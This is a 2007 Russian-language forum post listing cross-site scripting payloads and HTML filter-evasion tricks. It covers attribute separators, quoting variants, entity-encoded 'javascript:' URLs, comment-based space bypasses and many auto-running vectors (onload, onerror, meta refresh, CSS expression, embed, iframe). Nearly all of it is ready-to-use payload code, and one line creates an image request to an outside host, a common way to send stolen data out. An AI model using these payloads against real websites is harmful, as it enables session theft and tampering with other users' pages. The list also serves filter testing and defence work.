Показать сообщение отдельно

  #6  
Старый 27.11.2007, 00:31
BlackCats
Постоянный
Регистрация: 01.02.2006
Сообщений: 970
Провел на форуме:
9254548

Репутация: 1942


По умолчанию

Код:
# Разделители атрибутов тега.
Помимо пробела, можно использовать символы: слеш(/), табуляцию, перевод строки. Разделитель можно опустить, если предыдущий атрибут заключен в кавычки.

<image/src="1.png"/alt="Подсказка"/border="0">
<image	src="1.png"	alt="Подсказка"	border="0">
<image
src="1.png"
alt="Подсказка"
border="0">
<image src="1.png"alt="Подсказка"border="0">

# Ограничители атрибутов тега
Значения можно заключать в кавычки (двойные и одинарные) и в апострофы, а можно вообще не ограничивать.

<image src="" alt="Моя подсказка" border="0">
<image src="" alt='Моя подсказка' border="0">
<image src="" alt=`Моя подсказка` border="0">
<image src="" alt=Подсказка border="0">

# Кодировки символов
Расшифровка символов в скрипте происходит до его выполнения:

<img src=javascript:alert(&quot;ok&quot;)>
<img src=javascript:alert('ok')>
<img src=&#106&#97&#118&#97&#115&#99&#114&#105&#112&#116&#58&#97&#108&#101&#114&#116&#40&#39&#111&#107&#39&#41>
<a href=javascript:alert(%22ok%22)>click me</a> (только в атрибуте href)

# Ограничители символьных литералов в скриптах

<img src=javascript:alert('ok')>
<img src=javascript:alert("ok")>
<img src=javascript:a=/ok/;alert(a.source)>
<img src=javascript:alert(String.fromCharCode(111,107))>

# Обход фильтрации некоторых символов

<img src=javascript:i=new/**/Image();i.src='http://bla.bla'>(замена пробела на /**/)

# Способы запуска скриптов
Несколько способов автоматического запуска скриптов:

<script>alert('ok')</script>
<script src=1.js></script>
<body onLoad=alert('ok')>
<meta http-equiv=Refresh content=0;url=javascript:alert('ok')>
<image src=1.png onload=alert('ok')>
<image src=javascript:alert('ok')>
<image src="" onerror=alert('ok')>
<hr style=background:url(javascript:alert('ok'))>
<span style=top:expression(alert('ok'))></span>
<span sss="alert();this.sss=null" style=top:expression(eval(this.sss));></span> (срабатывает только один раз)
<style type="text/css">@import url(javascript:alert('ok'));</style>
<object classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:alert('ok')></object>
<embed src=javascript:alert('ok');this.avi>
<embed src=javascript:alert('ok');this.wav>
<iframe src=javascript:alert('ok')> (только в IE)
<a href=javascript:alert(%22ok%22)>click me</a> (запуск только при клике по ссылке)
<a href=javascript:alert('aaa'+eval('alert();i=2+2')+'bbb')>click me</a>  (запуск только при клике по ссылке)
<br SIZE="&{alert('XSS')}"> (только Netscape 4.x)

# Различные скриптовые протоколы, способы их написания

<img src=javascript:alert()>
<img src=vbscript:AleRt()>
<img src=JaVasCriPt:alert()>
<img src="   javascript:alert()"> (пробелы до слова javascript) 
<img src=&#106&#97&#118&#97&#115&#99&#114&#105&#112&#116:alert()>
<img src=javascript&#9:alert()>
<img src=javascript&#10:alert()>
<img src=javascript&#13:alert()>
<img src="javascript	:alert()">  (перед двоеточием - символ табуляции) 
<img src="java	scri
pt:ale	rt()"> (внутри слова javascript - символ табуляции и возврат каретки) 

# Вставки скриптов в style
Операторы скрипта в атрибуте style нужно разделять "\;".

<hr style=`background:url(javascript:alert('ok 1')\;alert('ok 2'))`>
много чего срабатывает.
 
Ответить с цитированием